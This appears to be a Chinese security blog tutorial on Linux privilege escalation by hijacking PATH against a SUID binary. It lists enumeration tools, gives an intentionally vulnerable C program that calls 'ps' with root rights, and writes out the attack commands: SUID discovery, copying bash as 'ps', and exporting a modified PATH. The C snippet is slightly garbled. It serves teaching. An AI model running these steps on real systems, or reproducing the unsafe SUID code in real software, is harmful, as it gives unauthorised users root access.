权限提升-Linux提权-环境变量文件配合SUID提权

LINUX系统提权项目介绍

一个综合类探针:

Linux:https://github.com/liamg/traitor

一个自动化提权:

Linux:https://github.com/AlessandroZ/BeRoot

两个信息收集:

Linux:https://github.com/rebootuser/LinEnum

Linux:https://github.com/sleventyeleven/linuxprivchecker

两个漏洞探针:

Linux:https://github.com/mzet-/linux-exploit-suggester

Linux:https://github.com/jondonas/linux-exploit-suggester-2

二进制文件提权查询:

Linux:https://gtfobins.github.io/

Windows:https://lolbas-project.github.io/

 

 

Linux-环境变量文件配合SUID提权

    前提条件:ROOT用户对某个第三方程序(管理员自己写的运维脚本等)给予了SUID权限

1.前提:目标root用户将可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行。

文件:domo.c

#include

void main(){

setuid(0);

                 setgid(0);

                 system("ps");  #system权限执行ps命令

         }

2.编译demo文件重命名为shell(给到了suid权限),赋予执行权限 执行后运行ps命令

命令:gcc demo.c -o shell

    chmod u+s shell

权限提升-Linux提权-环境变量文件配合SUID提权_第1张图片

攻击者:

前提:已获取目标本地普通用户权限

1.探针:find / -user root -perm -4000 -print 2>/dev/null 探测除系统命令外管理员添加的具有suid权限的文件。

权限提升-Linux提权-环境变量文件配合SUID提权_第2张图片

2.原ps命令查看当前进程 环境变量为/usr/bin/ps

  命令:whereis ps

权限提升-Linux提权-环境变量文件配合SUID提权_第3张图片

3.进入到/home目录,普通用户通过对shell文件反编译或源代码查看,发现执行shell文件就是调用ps命令。

4.覆盖其执行环境变量,直接让其执行指定程序获取权限。

命令:cp /bin/bash /home/ps    #将/bin/bash复制为 /home/ps 相当于现在的/home/ps是bash命令

          export PATH=/home:$PATH   #环境变量加入/home 执行ps相当于执行/home/ps

          ./shell    #shell执行,system权限执行ps命令,相当于suid执行bash就是直接提权

执行shell,成功提权

5.步骤总结:

1.普通用户权限下先获取suid所有程序

2.去除系统自带的一些命令(筛选第三方程序)

3.对该程序进行反编译或者找源码 明白该程序的作用

4.思考该程序有无执行一些环境变量命令 (ps ping su sudo 等 比如该shell程序执行了ps命令)

5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)

   

   

 

你可能感兴趣的:(权限提升,linux,网络安全)